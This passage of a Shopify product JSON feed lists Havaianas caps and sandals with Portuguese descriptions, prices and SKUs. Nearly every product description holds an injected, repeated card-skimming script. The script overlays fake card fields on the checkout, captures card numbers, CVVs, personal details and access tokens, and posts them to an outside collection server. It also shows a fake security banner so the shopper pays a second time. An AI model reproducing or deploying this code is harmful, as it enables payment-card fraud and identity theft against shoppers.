\\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eEsse boné da Havaianas tem um certo charme vintage graças ao patch emborrachado redondinho, que é a cara da marca.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Vermelho \/ Único","offer_id":45616118006017,"sku":"4146984_0020_998","price":124.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/1160225_bone-havaianas-1962-4146984-0020_m2_637699157457454600.jpg?v=1742395637"},{"product_id":"chinelo-havaianas-top-max-comfort-4148608-0555","title":"Chinelo Havaianas Top Max Comfort","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Top Max Comfort é uma Havaianas mais robusta e sóbria. Com tiras largas e um solado anatômico com relevo nos calcanhares, esse modelo fica hiper confortável e vem em cores versáteis para te acompanhar ao longo do dia.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Marinho \/ 37\/38","offer_id":45618015305985,"sku":"4148608_0555_378","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 35\/36","offer_id":45618022875393,"sku":"4148608_0555_356","price":69.99,"currency_code":"BRL","in_stock":false},{"title":"Marinho \/ 43\/44","offer_id":45620637139201,"sku":"4148608_0555_434","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 45\/46","offer_id":45620637171969,"sku":"4148608_0555_456","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 39\/40","offer_id":45620709490945,"sku":"4148608_0555_390","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 41\/42","offer_id":45620723646721,"sku":"4148608_0555_412","price":69.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148608-top-max-comfort-0555-0_364535c8-b9ef-47d7-9781-07dfabf3123a.jpg?v=1734125881"},{"product_id":"chinelo-havaianas-top-max-comfort-4148608-5178","title":"Chinelo Havaianas Top Max Comfort","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Top Max Comfort é uma Havaianas mais robusta e sóbria. Com tiras largas e um solado anatômico com relevo nos calcanhares, esse modelo fica hiper confortável e vem em cores versáteis para te acompanhar ao longo do dia.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Aço \/ 35\/36","offer_id":45618015338753,"sku":"4148608_5178_356","price":69.99,"currency_code":"BRL","in_stock":false},{"title":"Cinza Aço \/ 37\/38","offer_id":45618015502593,"sku":"4148608_5178_378","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 41\/42","offer_id":45620637204737,"sku":"4148608_5178_412","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 43\/44","offer_id":45620637401345,"sku":"4148608_5178_434","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 45\/46","offer_id":45620668203265,"sku":"4148608_5178_456","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 39\/40","offer_id":45620723712257,"sku":"4148608_5178_390","price":69.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148608-top-max-comfort-5178-0_63f57f6b-3164-4d09-9130-bf416d4e7060.jpg?v=1734125878"},{"product_id":"chinelo-havaianas-urban-way-4146081-1069","title":"Chinelo Havaianas Urban Way","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID 